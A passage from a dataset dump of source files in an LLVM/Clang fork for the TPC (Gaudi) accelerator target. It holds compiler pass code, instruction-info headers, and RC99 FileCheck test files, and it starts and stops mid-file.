!IsDestination; ++PredBB) {\n if ((*PredBB)->getFirstTerminator() != (*PredBB)->end())\n for (MachineBasicBlock::reverse_iterator Inst = (*PredBB)->rbegin();\n Inst != (*PredBB)->rend() && !IsDestination; ++Inst) {\n const MachineBasicBlock *DestMBB = nullptr;\n if(isJmpInstr(*Inst, DestMBB) &&\n MBB.getNumber() == DestMBB->getNumber())\n IsDestination = true;\n }\n }\n\n if (!TPCCompressJumps) {\n prevMI = nullptr;\n }\n\n for (MachineBasicBlock::iterator I = BegBB, E = EndBB; I != E; ) {\n MachineInstr &MI = *I;\n ++I;\n\n if(MI.isDebugInstr())\n continue;\n\n // Instructions that can be compressed (2 instructions in a single VLIW):\n // Instructions which are not having index EndLoop, EndLoop-1, EndLoop-2, EndLoop-3\n // (where EndLoop is the index of the last instruction of the LOOP)\n bool isLoopEndN = false;\n if (I != E) {\n int num = 0;\n for (MachineBasicBlock::iterator X = I; X != E; ++X) {\n if(X != E) {\n if((*X).getOpcode() == TPC::LOOPEND) {\n isLoopEndN = true;\n break;\n }\n if (!(*X).isDebugInstr()) {\n num++;\n if (num >= 4)\n break;\n }\n }\n }\n }\n\n if (maybeCompressInstr(&MI, false) && !isLoopEndN && !IsDestination) {\n if (prevMI) {\n // Compress both, MI and prevMI\n maybeCompressInstr(prevMI, true);\n maybeCompressInstr(&MI, true);\n prevMI = nullptr;\n }\n else {\n prevMI = &MI;\n }\n } else {\n IsDestination = false;\n prevMI = nullptr;\n }\n }\n}\n" }, { "alpha_fraction": 0.5773195624351501, "alphanum_fraction": 0.6082473993301392, "avg_line_length": 31.33333396911621, "blob_id": "e4a5c4f48eee09b791df769769e07c5fca8676cb", "content_id": "c40bdc9a8e486db820770d1e3283a10db5784344", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 194, "license_type": "permissive", "max_line_length": 110, "num_lines": 6, "path": "/clang/test/RC99/main/main-10.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -triple tpc-none-none -std=rc99 -emit-llvm -main-function qqq -O1 %s -o - | FileCheck %s\n\nvoid qqq(int I){\n}\n// CHECK: define void @qqq(i32 %I) {{.*}} {\n// CHECK: ret void\n" }, { "alpha_fraction": 0.5255101919174194, "alphanum_fraction": 0.6513605713844299, "avg_line_length": 48, "blob_id": "26049d69f4dbcc014c64c0122d7e5eba5748dd02", "content_id": "070b7d9a75485c2ff91c4b918c01594fa102fbe6", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 588, "license_type": "permissive", "max_line_length": 149, "num_lines": 12, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_uint256_to_bfloat256.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\nvoid main(int src, int dest) {\n uint256 *sptr = (uint256 *)src;\n bfloat256 *dptr = (bfloat256 *)dest;\n uint256 src_val = *sptr;\n *dptr++ = convert_uint256_to_bfloat256(src_val, 0);\n *dptr = convert_uint256_to_bfloat256(src_val, SW_RD);\n}\n\n// CHECK-IR: uitofp <256 x i32> {{.*}} to <256 x bfloat>\n// CHECK-IR: call <256 x bfloat> @llvm.tpc.convert.v256bf16.v256i32.i1(<256 x i32> {{.*}}, i8 3, i32 196864, <256 x bfloat> undef, i1 true, i1 false)\n" }, { "alpha_fraction": 0.6097561120986938, "alphanum_fraction": 0.6306620240211487, "avg_line_length": 25.090909957885742, "blob_id": "7c57bcf9a7ac715630aa09fd6b74c167b9c75be1", "content_id": "92d9dc8816a620c72cd99a810bf973ddf852d6c0", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 287, "license_type": "permissive", "max_line_length": 91, "num_lines": 11, "path": "/clang/test/RC99/disableTest/.disableTest/regression/printf_i_disable.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -emit-llvm -O1 %s -o - | FileCheck %s\n\nvoid main(tensor t0, tensor t1, int arg_int) {\n\n#pragma tpc_printf (disable)\n printf_i(\"value is integer\\n\", arg_int);\n}\n\n// CHECK: define void @main(\n// CHECK: ret void\n// CHECK-NEXT: }\n" }, { "alpha_fraction": 0.6859903335571289, "alphanum_fraction": 0.7004830837249756, "avg_line_length": 40.400001525878906, "blob_id": "171b1c144f0ed621fd1380da6a2bdcff281b13ff", "content_id": "d3d5c82c43e8fd78221d1cd727366ff601e8ee5b", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 207, "license_type": "permissive", "max_line_length": 102, "num_lines": 5, "path": "/clang/test/RC99/main/main-11.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -main-function main_entry -verify %s \n\nvoid main_entry(int I, int* a) // expected-error{{parameter 'a' of entry function has wrong type}}\n{\n}\n" }, { "alpha_fraction": 0.3978436589241028, "alphanum_fraction": 0.5132075548171997, "avg_line_length": 22.48101234436035, "blob_id": "6ab239a7e6390ca98523a5a8af9be66431e686cc", "content_id": "d19fef3cbfb0fc4b7425f8bac0de389f239bed82", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1855, "license_type": "permissive", "max_line_length": 108, "num_lines": 79, "path": "/clang/test/RC99/math/gaudi_sinf.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -fsyntax-only -Wall -verify %s\n// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -O2 %s -o - | FileCheck --check-prefix=CHECK-ASM %s\n// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -O1 %s -o - | FileCheck --check-prefix=CHECK-ASM-O1 %s\n// expected-no-diagnostics\n// XFAIL: *\n// Gaudi-3\nvoid main(int dest, float xx)\n{\n// The program calculates dest = sin(xx) for abs(xx) < 8000\n\n __local__ float *res_ptr = (float __local *) dest;\n\t\n\tconst float FOPI = 1.27323954473516f;\n\n\tconst float DP[3] = {0.78515625f, 2.4187564849853515625e-4f, 3.77489497744594108e-8f};\n\tconst float sincoef[3] = {-1.9515295891E-4f, 8.3321608736E-3f, -1.6666654611E-1f};\n\tconst float coscoef[3] = {2.443315711809948E-005f, -1.388731625493765E-003f, 4.166664568298827E-002f};\n\n float y, z, x = xx;\n int i, j;\n int sign = 1;\n x = s_f32_abs_s_b(xx, 1, x, 0);\n\n if( xx < 0 )\n {\n sign = -1;\n }\n\n j = FOPI * x; // integer part of x/(PI/4)\n y = j;\n\n// map zeros to origin\n if( j & 1 )\n {\n j += 1;\n y += 1.0f;\n }\n\n// octant modulo 360 degrees\n j &= 7;\n\n// reflect in x axis\n if( j > 3)\n {\n sign = -sign;\n j -= 4;\n }\n\n// Extended precision modular arithmetic\n x = ((x - y * DP[0]) - y * DP[1]) - y * DP[2];\n\n z = x * x;\n if( (j==1) || (j==2) )\n {\n y = coscoef[0];\n for (i = 1; i < 3; i++)\n y = y * z + coscoef[i];\n y *= z * z;\n y -= 0.5f * z;\n y += 1.0f;\n }\n else\n {\n y = sincoef[0];\n\t\tfor (i = 1; i < 3; i++)\n\t\t\ty = y * z + sincoef[i];\n y *= z * x;\n y += x;\n }\n\n *res_ptr = sign < 0 ? -y : y; // Is there the sign function??\n}\n\n// CHECK:main\n// CHECK-ASM: main\n// CHECK-ASM: HALT\n// CHECK-O1:main\n// CHECK-ASM-O1: main\n// CHECK-ASM-O1: HALT\n" }, { "alpha_fraction": 0.4884488582611084, "alphanum_fraction": 0.5198019742965698, "avg_line_length": 29.299999237060547, "blob_id": "797f03100e8a63b21ecc6e042e44c61500583b91", "content_id": "5febcc49aab2bca1bc2b2def768bae17d75c0869", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 606, "license_type": "permissive", "max_line_length": 102, "num_lines": 20, "path": "/clang/test/RC99/regression/gaudi-523.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %tpc_clang -S -O1 -o - %s\n\nvoid main(int int_par, tensor input_tnsr, tensor out_tnsr)\n{\n int5 out_index = {0,0,0,0,0};\n\n int int_var = 2;\n int total_count_for_level_2 = 0;\n for (int i = 0; i < int_par; i++)\n //for (int i = 0; i < int_var; i++) // with tis line - no crash\n //for (int i = 0; i < 2; i++) // with tis line - no crash\n {\n for (int j = 0; j < i; j++)\n {\n total_count_for_level_2++; // comment out this line - no crash\n }\n }\n\n i32_st_tnsr_i_v(out_index, out_tnsr, total_count_for_level_2); // comment out this line - no crash\n}\n" }, { "alpha_fraction": 0.675393283367157, "alphanum_fraction": 0.6775280833244324, "avg_line_length": 42.6274528503418, "blob_id": "ec7a8920c19ba655b88b9b69f0f49eb8cc931377", "content_id": "40092052c49036140b4d19794bbbaba410d65da9", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 8900, "license_type": "permissive", "max_line_length": 98, "num_lines": 204, "path": "/llvm/lib/Target/TPC/TPCInstrInfo.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- TPCInstrInfo.h - TPC Instruction Information --------*- C++ -*-===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// This file contains the TPC implementation of the TargetInstrInfo class.\n//\n//===----------------------------------------------------------------------===//\n\n#ifndef LLVM_LIB_TARGET_TPC_TPCINSTRINFO_H\n#define LLVM_LIB_TARGET_TPC_TPCINSTRINFO_H\n\n#include \"TPCRegisterInfo.h\"\n#include \"llvm/CodeGen/TargetInstrInfo.h\"\n#include \"MCTargetDesc/TPCMCInstrInfo.h\" // for TPCII enum\n\n#define GET_INSTRINFO_HEADER\n#define GET_INSTRINFO_SCHED_ENUM\n#include \"TPCGenInstrInfo.inc\"\n\nnamespace llvm {\n\nnamespace TPCStackID {\nenum StackTypes : uint8_t {\n SCRATCH = 0,\n SLM_SPILL = 1,\n VLM_SPILL = 2\n};\n}\n\nclass TPCSubtarget;\n\nclass TPCInstrInfo : public TPCGenInstrInfo {\n const TPCRegisterInfo RI;\n const TPCSubtarget& Subtarget;\n virtual void anchor();\npublic:\n explicit TPCInstrInfo(TPCSubtarget &ST);\n\n const TargetRegisterClass *\n getClassOfPhysicalRegister(Register Reg, const TargetRegisterInfo &TRI) const;\n\n /// getRegisterInfo - TargetInstrInfo is a superset of MRegister info. As\n /// such, whenever a client has an instance of instruction info, it should\n /// always be able to get register info as well (through this method).\n ///\n const TPCRegisterInfo &getRegisterInfo() const { return RI; }\n\n /// isLoadFromStackSlot - If the specified machine instruction is a direct\n /// load from a stack slot, return the virtual or physical register number of\n /// the destination along with the FrameIndex of the loaded stack slot. If\n /// not, return 0. This predicate must return 0 if the instruction has\n /// any side effects other than loading from the stack slot.\n unsigned isLoadFromStackSlot(const MachineInstr &MI,\n int &FrameIndex) const override;\n\n /// isStoreToStackSlot - If the specified machine instruction is a direct\n /// store to a stack slot, return the virtual or physical register number of\n /// the source reg along with the FrameIndex of the loaded stack slot. If\n /// not, return 0. This predicate must return 0 if the instruction has\n /// any side effects other than storing to the stack slot.\n unsigned isStoreToStackSlot(const MachineInstr &MI,\n int &FrameIndex) const override;\n\n bool analyzeBranch(MachineBasicBlock &MBB, MachineBasicBlock *&TBB,\n MachineBasicBlock *&FBB,\n SmallVectorImpl<MachineOperand> &Cond,\n bool AllowModify = false) const override;\n\n unsigned removeBranch(MachineBasicBlock &MBB,\n int *BytesRemoved = nullptr) const override;\n\n unsigned insertBranch(MachineBasicBlock &MBB, MachineBasicBlock *TBB,\n MachineBasicBlock *FBB,\n ArrayRef<MachineOperand> Cond,\n const DebugLoc &DL,\n int *BytesAdded = nullptr) const override;\n\n bool\n reverseBranchCondition(SmallVectorImpl<MachineOperand> &Cond) const override;\n\n void copyPhysReg(MachineBasicBlock &MBB, MachineBasicBlock::iterator MI,\n const DebugLoc &DL, MCRegister DestReg, MCRegister SrcReg,\n bool KillSrc) const override;\n\n void storeRegToStackSlot(MachineBasicBlock &MBB,\n MachineBasicBlock::iterator MBBI,\n unsigned SrcReg, bool isKill, int FrameIndex,\n const TargetRegisterClass *RC,\n const TargetRegisterInfo *TRI) const override;\n\n void loadRegFromStackSlot(MachineBasicBlock &MBB,\n MachineBasicBlock::iterator MBBI,\n unsigned DestReg, int FrameIndex,\n const TargetRegisterClass *RC,\n const TargetRegisterInfo *TRI) const override;\n\n /// Target-dependent implementation for foldMemoryOperand.\n /// Target-independent code in foldMemoryOperand will\n /// take care of adding a MachineMemOperand to the newly created instruction.\n /// The instruction and any auxiliary instructions necessary will be inserted\n /// at InsertPt.\n MachineInstr *foldMemoryOperandImpl(\n MachineFunction &MF, MachineInstr &MI, ArrayRef<unsigned> Ops,\n MachineBasicBlock::iterator InsertPt, MachineInstr &LoadMI,\n LiveIntervals *LIS = nullptr) const override;\n MachineInstr *foldMemoryOperandImpl(MachineFunction &MF, MachineInstr &MI,\n ArrayRef<unsigned> Ops,\n MachineBasicBlock::iterator InsertPt,\n int FrameIndex,\n LiveIntervals *LIS = nullptr,\n VirtRegMap *VRM = nullptr) const override;\n\n\n // Lower pseudo instructions after register allocation.\n bool expandPostRAPseudo(MachineInstr &MI) const override;\n\n bool isProfitableToHoist(MachineInstr &MI) const override;\n\n bool isReallyTriviallyReMaterializable(const MachineInstr &MI,\n AAResults *AA) const override;\n\n void reMaterialize(MachineBasicBlock &MBB,\n MachineBasicBlock::iterator MI, unsigned DestReg,\n unsigned SubIdx, const MachineInstr &Orig,\n const TargetRegisterInfo &TRI) const override;\n\n\n // Create machine specific model for scheduling.\n DFAPacketizer *\n CreateTargetScheduleState(const TargetSubtargetInfo &STI) const override;\n\n /// Allocate and return a hazard recognizer to use for this target when\n /// scheduling the machine instructions before register allocation.\n// Uncomment this if TPC specific HazardRec is needed before RA\n ScheduleHazardRecognizer *\n CreateTargetMIHazardRecognizer(const InstrItineraryData *,\n const ScheduleDAGMI *DAG) const override;\n\n\n /// Allocate and return a hazard recognizer to use for this target when\n /// scheduling the machine instructions after register allocation.\n ScheduleHazardRecognizer *\n CreateTargetPostRAHazardRecognizer(const InstrItineraryData*,\n const ScheduleDAG *DAG) const override;\n\n /// Compute and return the use operand latency of a given pair of def and use.\n ///\n /// This is a raw interface to the itinerary that may be directly overridden\n /// by a target. Use computeOperandLatency to get the best estimate of\n /// latency.\n int getOperandLatency(const InstrItineraryData *ItinData,\n const MachineInstr &DefMI, unsigned DefIdx,\n const MachineInstr &UseMI, unsigned UseIdx) const override;\n\n bool isPredicated(const MachineInstr &MI) const override;\n unsigned getMachineCSELookAheadLimit() const override { return 20; } // default=5 is too small\n\n /// Insert non-pairable Noop\n void insertNoop(MachineBasicBlock &MBB,\n MachineBasicBlock::iterator MI) const override;\n\n void insertNoop(int opcode, MachineBasicBlock &MBB,\n MachineBasicBlock::iterator MI);\n\n /// Retutns 'true' if 'MI' has an equivalent in other slot(s).\n /// Fills in the 'opcodes' vector with alternative opcodes.\n bool getOtherSlotOpcodes(MachineInstr* MI, std::vector<unsigned>& opcodes) const;\n\n bool instHasImm(const MachineInstr &MI) const;\n bool instHasImmField(const MachineInstr &MI) const;\n bool isScalarToVector(const MachineInstr &MI) const;\n bool hasSRFOrSPRFOperands(const MachineInstr &MI) const;\n bool isVPUInstrWithSRF(const MachineInstr &MI) const;\n bool isMovSRFtoVInstr(const MachineInstr &MI) const;\n bool isIRFProducerWithDimMask(const MachineInstr &MI, unsigned &Mask) const;\n bool isMovDualGroup(const MachineInstr &MI, unsigned * pSrcG, unsigned * pDstG) const;\n uint64_t getInstImm(const MachineInstr &MI) const;\n bool isLDSTInstrWithPredicate(const MachineInstr &MI, unsigned &pred, unsigned &polarity) const;\n bool isConditionalChain(const MachineInstr &DefMI, const MachineInstr &UseMI) const;\n bool isGlobalScalarLoad(const MachineInstr &MI) const;\n bool isGenAddr(const MachineInstr &MI) const;\n\n static bool isMMIOAccess(const MachineInstr &MI);\n\n BitVector findAvailableReg(MachineInstr &MI, const TargetRegisterClass* RC) const;\n BitVector findAvailableSRF(MachineInstr &MI) const;\n BitVector findAvailableVRF(MachineInstr &MI) const;\n\n bool instrProducesUnspillableReg(const MachineInstr &MI) const;\n};\n\n\nTPCII::OpType getOpType(const MachineInstr &MI);\nbool useImmSlotForImm(const MachineInstr &MI, int64_t Val);\n\nbool isSET_INDX(unsigned opc);\n\n}\n\n#endif\n" }, { "alpha_fraction": 0.6675185561180115, "alphanum_fraction": 0.6825964450836182, "avg_line_length": 39.62765884399414, "blob_id": "8a24d2379ee73a9513293545246b608c27da0302", "content_id": "4f0f5c2da33a107e376c907809031ca95eb1e504", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3913, "license_type": "permissive", "max_line_length": 80, "num_lines": 94, "path": "/llvm/include/llvm/Transforms/Scalar/EvalSpecialFunctionPass.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- EvalSpecialFunctionPass.h-------------------------------------------===//\r\n//\r\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\r\n// See https://llvm.org/LICENSE.txt for license information.\r\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\r\n//\r\n//===----------------------------------------------------------------------===//\r\n//\r\n//===----------------------------------------------------------------------===//\r\n\r\n#ifndef LLVM_TRANSFORMS_SCALAR_EVALSPECIALFUNCTIONPASS_H\r\n#define LLVM_TRANSFORMS_SCALAR_EVALSPECIALFUNCTIONPASS_H\r\n\r\n#include \"llvm/ADT/ArrayRef.h\"\r\n#include \"llvm/Analysis/AssumptionCache.h\"\r\n#include \"llvm/Analysis/GlobalsModRef.h\"\r\n#include \"llvm/IR/BasicBlock.h\"\r\n#include \"llvm/IR/Dominators.h\"\r\n#include \"llvm/IR/Function.h\"\r\n#include \"llvm/IR/IRBuilder.h\"\r\n#include \"llvm/IR/InstIterator.h\"\r\n#include \"llvm/IR/IntrinsicInst.h\"\r\n#include \"llvm/IR/Intrinsics.h\"\r\n#include \"llvm/IR/IntrinsicsTPC.h\"\r\n#include \"llvm/IR/LLVMContext.h\"\r\n#include \"llvm/IR/LegacyPassManager.h\"\r\n#include \"llvm/IR/PassManager.h\"\r\n#include \"llvm/IR/Type.h\"\r\n#include \"llvm/InitializePasses.h\"\r\n#include \"llvm/Pass.h\"\r\n#include \"llvm/PassAnalysisSupport.h\"\r\n#include \"llvm/PassSupport.h\"\r\n#include \"llvm/Support/CommandLine.h\"\r\n#include \"llvm/Support/Compiler.h\"\r\n#include \"llvm/Support/Debug.h\"\r\n#include \"llvm/Support/raw_ostream.h\"\r\n#include \"llvm/Transforms/IPO/PassManagerBuilder.h\"\r\n#include \"llvm/Transforms/Utils/BasicBlockUtils.h\"\r\n#include <unordered_map>\r\n\r\nusing namespace llvm;\r\n\r\nnamespace {\r\nclass EvalSpecialFunctionPass : public ModulePass {\r\npublic:\r\n static char ID;\r\n\r\n EvalSpecialFunctionPass() : ModulePass(ID) {}\r\n\r\n void getAnalysisUsage(AnalysisUsage &AU) const override {\r\n AU.addRequired<AssumptionCacheTracker>();\r\n AU.addRequired<DominatorTreeWrapperPass>();\r\n AU.addPreserved<GlobalsAAWrapperPass>();\r\n AU.setPreservesCFG();\r\n }\r\n\r\nprivate:\r\n IntegerType *I32Type, *I1Type, *I8Type, *I16Type;\r\n Type *F32Type, *BF16Type;\r\n VectorType *Int64Type, *Int128Type, *Float64Type, *Char256Type, *Short128Type,\r\n *Bfloat128Type, *Float128Type, *I8256Type, *Short256Type, *Bfloat256Type;\r\n void replaceExpWithTPCIntrinsics(Module &M, Instruction *InstrToReplace);\r\n void replaceSinCosWithTPCIntrinsics(Module &M, Instruction *InstrToReplace,\r\n int SinCond);\r\n void replaceLogWithTPCIntrinsics(Module &M, Instruction *InstrToReplace);\r\n void replaceSqrtWithTPCIntrinsics(Module &M, Instruction *InstrToReplace);\r\n void replaceReciprocalSqrtWithTPCIntrinsics(Module &M,\r\n Instruction *InstrToReplace);\r\n void replaceBF16ReciprocalSqrtWithTPCIntrinsics(Module &M,\r\n Instruction *InstrToReplace);\r\n void replaceTanhWithTPCIntrinsics(Module &M, Instruction *InstrToReplace);\r\n void replaceReciprocalWithTPCIntrinsics(Module &M,\r\n Instruction *InstrToReplace);\r\n\r\n void replaceBF16TanhWithTPCIntrinsics(Module &M, Instruction *InstrToReplace);\r\n\r\n void replaceBF16ReciprocalWithTPCIntrinsics(Module &M,\r\n Instruction *InstrToReplace);\r\n\r\n void replaceBF16SinWithTPCIntrinsics(Module &M, Instruction *InstrToReplace);\r\n void replaceBF16CosWithTPCIntrinsics(Module &M, Instruction *InstrToReplace);\r\n\r\n void replaceBF16LogWithTPCIntrinsics(Module &M, Instruction *InstrToReplace);\r\n void replaceBF16SqrtWithTPCIntrinsics(Module &M, Instruction *InstrToReplace);\r\n void replaceBF16ExpWithTPCIntrinsics(Module &M, Instruction *InstrToReplace);\r\n Constant *getBfloatValue(double V);\r\n void expandFDiv(Module &M, Instruction *I);\r\n void expandSpecialCaseLLVMIR(Module &M);\r\n void expandSpecialFunction(Module &M);\r\n\r\n bool runOnModule(Module &M) override;\r\n};\r\n} // end anonymous namespace\r\n#endif\r\n" }, { "alpha_fraction": 0.6262626051902771, "alphanum_fraction": 0.6616161465644836, "avg_line_length": 32, "blob_id": "af409a6c9a8e9c4a33145b11971eeceaedeb00f9", "content_id": "4d8e28fbebc971d8550609facdefd20ff9f9febd", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 198, "license_type": "permissive", "max_line_length": 54, "num_lines": 6, "path": "/clang/test/RC99/utils/gen_err-10.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: not %intr-gen %s 2>&1 | FileCheck %s\n\nint func_01(int a, int b,,bool polarity);\n\n// CHECK: line 3 error: Invalid parameter declaration\n// CHECK: > int func_01(int a, int b,,bool polarity);\n" }, { "alpha_fraction": 0.5565476417541504, "alphanum_fraction": 0.5922619104385376, "avg_line_length": 18.764705657958984, "blob_id": "e9e8ed90263dbef78ec816ee9cdde4faa4e7d319", "content_id": "c6b729e57ba15144366cfed038ad06b29568892c", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 336, "license_type": "permissive", "max_line_length": 61, "num_lines": 17, "path": "/clang/test/RC99/utils/gen-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %intr-gen %s | FileCheck %s\n\nint func_00(int x);\n\n#if defined(__dali__)\nint func_01(int x);\n#endif\n\n#if defined(__gaudi__)\nint func_02(int x);\n#endif\n\n\n\n// CHECK: TARGET_BUILTIN( func_00, \"ii\", \"nc\", \"dali|gaudi\" )\n// CHECK: TARGET_BUILTIN( func_01, \"ii\", \"nc\", \"dali\" )\n// CHECK: TARGET_BUILTIN( func_02, \"ii\", \"nc\", \"gaudi\" )\n" }, { "alpha_fraction": 0.6461538672447205, "alphanum_fraction": 0.6700854897499084, "avg_line_length": 31.55555534362793, "blob_id": "1de4e55cff3975441fe862fda565113df634137a", "content_id": "e40381064472de6095c443c7ba1e65cc5c061c10", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 585, "license_type": "permissive", "max_line_length": 120, "num_lines": 18, "path": "/clang/test/RC99/restrictions/gptr-05.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -verify %s\n\nstruct ABC {\n int f1;\n int f2;\n};\n\nstruct BCD {\n int f1;\n int __global *f2; // expected-error{{fields cannot be global pointers}}\n};\n\nvoid main(int x1, tensor out) {\n struct ABC __global *ptr; // expected-error{{global pointers may point to integer, floating or vector types only}}\n int __global * __local *ptr1; // expected-error{{pointers to global pointers are not allowed}}\n int __global *arr[10]; // expected-error{{arrays of global pointers are not allowed}}\n struct BCD arr2[10];\n}" }, { "alpha_fraction": 0.5490565896034241, "alphanum_fraction": 0.6132075190544128, "avg_line_length": 39.769229888916016, "blob_id": "994c11f4b50aa6b2a86151b8401458627e850636", "content_id": "ff3a01b9e859422f47c13bd5f74f2ce85c15b372", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 530, "license_type": "permissive", "max_line_length": 110, "num_lines": 13, "path": "/clang/test/RC99/CodeGen/bool256-03.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// R U N: %clang_cc1 -S -O0 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %clang_cc1 -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// R U N: %clang_cc1 -S -O0 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n// RUN: %clang_cc1 -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\nvoid main(int dest) {\n bool256 __local *dptr = (bool256 __local*)dest;\n bool256 res = 255;\n\n *dptr = res;\n}\n\n// CHECK: st_l_v %S0,{{.*}} %VP0\n" }, { "alpha_fraction": 0.6135606169700623, "alphanum_fraction": 0.6174190640449524, "avg_line_length": 32.738460540771484, "blob_id": "8737eb169c5e3626734317655ecf84652608ef86", "content_id": "33623c12b7e85c7f24d951ab3192f6ec705dc20e", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 28509, "license_type": "permissive", "max_line_length": 103, "num_lines": 845, "path": "/llvm/lib/Target/TPC/TPCVLIWPacketizer.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- TPCVLIWPacketizer.cpp ----------------------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//\n//\n//===----------------------------------------------------------------------===//\n\n#include \"TPCRegisterInfo.h\"\n#include \"TPCSubtarget.h\"\n#include \"TPCTargetMachine.h\"\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"MCTargetDesc/TPCMCInstrInfo.h\"\n#include \"TPC.h\"\n#include \"TPCVLIWPacketizer.h\"\n#include \"llvm/InitializePasses.h\"\n#include \"llvm/Analysis/AliasAnalysis.h\"\n#include \"llvm/CodeGen/MachineDominators.h\"\n#include \"llvm/CodeGen/MachineFunctionPass.h\"\n#include \"llvm/CodeGen/MachineLoopInfo.h\"\n#include \"llvm/CodeGen/MachineRegisterInfo.h\"\n#include \"llvm/CodeGen/Passes.h\"\n#include \"llvm/CodeGen/MachineInstrBuilder.h\"\n#include \"llvm/Support/CommandLine.h\"\n#include \"llvm/Support/Debug.h\"\n#include \"TPCInstrInfo.h\"\n\nusing namespace llvm;\n\n#define DEBUG_TYPE \"packets\"\n\nstatic cl::opt<bool> DisablePacketizer(\"disable-tpc-packetizer\", cl::Hidden,\n cl::ZeroOrMore, cl::init(false),\n cl::desc(\"Disable TPC packetizer pass\"));\n\nstatic cl::opt<bool> TPCSinglePackets(\"tpc-single-packets\", cl::Hidden,\n cl::ZeroOrMore, cl::init(false),\n cl::desc(\"TPC debug mode (single instr in a VLIW)\"));\n\nextern cl::opt<bool> ScheduleInlineAsm;\n\nnamespace llvm {\n FunctionPass *createTPCPacketizer();\n void initializeTPCPacketizerPass(PassRegistry&);\n}\n\n\nnamespace {\n class TPCPacketizer : public MachineFunctionPass {\n public:\n static char ID;\n TPCPacketizer() : MachineFunctionPass(ID) {\n initializeTPCPacketizerPass(*PassRegistry::getPassRegistry());\n HII = nullptr;\n HRI = nullptr;\n }\n\n void getAnalysisUsage(AnalysisUsage &AU) const override {\n AU.setPreservesCFG();\n AU.addRequired<AAResultsWrapperPass>();\n AU.addRequired<MachineBranchProbabilityInfo>();\n AU.addRequired<MachineDominatorTree>();\n AU.addRequired<MachineLoopInfo>();\n AU.addPreserved<MachineDominatorTree>();\n AU.addPreserved<MachineLoopInfo>();\n MachineFunctionPass::getAnalysisUsage(AU);\n }\n StringRef getPassName() const override { return \"TPC Packetizer\"; }\n bool runOnMachineFunction(MachineFunction &Fn) override;\n MachineFunctionProperties getRequiredProperties() const override {\n return MachineFunctionProperties().set(\n MachineFunctionProperties::Property::NoVRegs);\n }\n\n private:\n const TPCInstrInfo *HII;\n const TPCRegisterInfo *HRI;\n };\n\n char TPCPacketizer::ID = 0;\n}\n\nINITIALIZE_PASS_BEGIN(TPCPacketizer, 